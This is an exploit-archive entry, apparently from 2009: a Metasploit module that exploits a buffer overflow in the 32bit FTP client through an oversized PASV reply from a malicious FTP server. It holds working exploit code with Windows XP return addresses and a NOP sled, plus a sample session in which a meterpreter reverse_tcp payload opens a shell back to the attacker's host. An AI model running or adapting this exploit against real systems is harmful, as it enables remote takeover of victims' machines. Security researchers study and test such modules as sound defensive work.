[2009-05-11]
32bit FTP (PASV) Reply Client Remote Overflow Exploit (meta) by His0k4
#msf > use exploit/windows/ftp/32bitftp_pasv_reply
#msf exploit(32bitftp_pasv) > set PAYLOAD windows/meterpreter/reverse_tcp
#PAYLOAD => windows/meterpreter/reverse_tcp
#msf exploit(32bitftp_pasv) > set LHOST 192.168.1.2
#LHOST => 192.168.1.2
#msf exploit(32bitftp_pasv) > exploit
#[*] Exploit running as background job.
#msf exploit(32bitftp_pasv) >
#[*] Handler binding to LHOST 0.0.0.0
#[*] Started reverse handler
#[*] Server started.
# Victim connecting to the malicious ftp server.
#[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
#[*] Sending stage (2650 bytes)
#[*] Sleeping before handling stage...
#[*] Uploading DLL (75787 bytes)...
#[*] Upload completed.
#[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.3:1137)
##
# $Id: 32bitftp_pasv_reply.rb 6528 2009-05-06 16:00:00Z $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::TcpServer
def initialize(info = {})
super(update_info(info,
'Name' => '32bit FTP (PASV) Reply Client Remote overflow Exploit',
'Description' => %q{
This module exploits a buffer overflow in the 32bit FTP 09.04.24
client that is triggered through an excessively long PASV reply command
},
'Author' => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 6528 $',
'References' =>
[
[ 'URL', 'http://www.milw0rm.com/exploits/8611' ],
[ 'BID', '34838' ],
],
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d\x20",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
# Tested against xp SP3 english
[ 'Windows XP SP3 English', { 'Ret' => 0x7c868667 } ], # jmp esp kernel32.dll
[ 'Windows XP SP2 French', { 'Ret' => 0x7C82385D } ], # call esp kernel32.dll
],
'Privileged' => false,
'DisclosureDate' => 'Mai 06 2009',
'DefaultTarget' => 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
OptString.new('SRVNAME', [ true, "Welcome to the ... FTP Service", "Test" ]),
], self.class)
end
def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
buffer = "220 Welcome to the " + datastore['SRVNAME'] + " FTP Service.\r\n"
client.put(buffer)
end
def on_client_data(client)
client.get_once
user = "331 Please specify the password.\r\n"
client.put(user)
client.get_once
pass = "230 Login successful.\r\n"
client.put(pass)
client.get_once
pwd = "257 \"/\"\r\n"
client.put(pwd)
client.get_once
type = "200 Switching to ASCII mode.\r\n"
client.put(type)
client.get_once
pasv = "227 Entering Passive Mode ("
pasv << rand_text_numeric(966)
pasv << [target.ret].pack('V')
pasv << make_nops(20)
pasv << payload.encoded
pasv << ")\r\n"
client.put(pasv)
handler(client)
service.close_client(client)
end
end
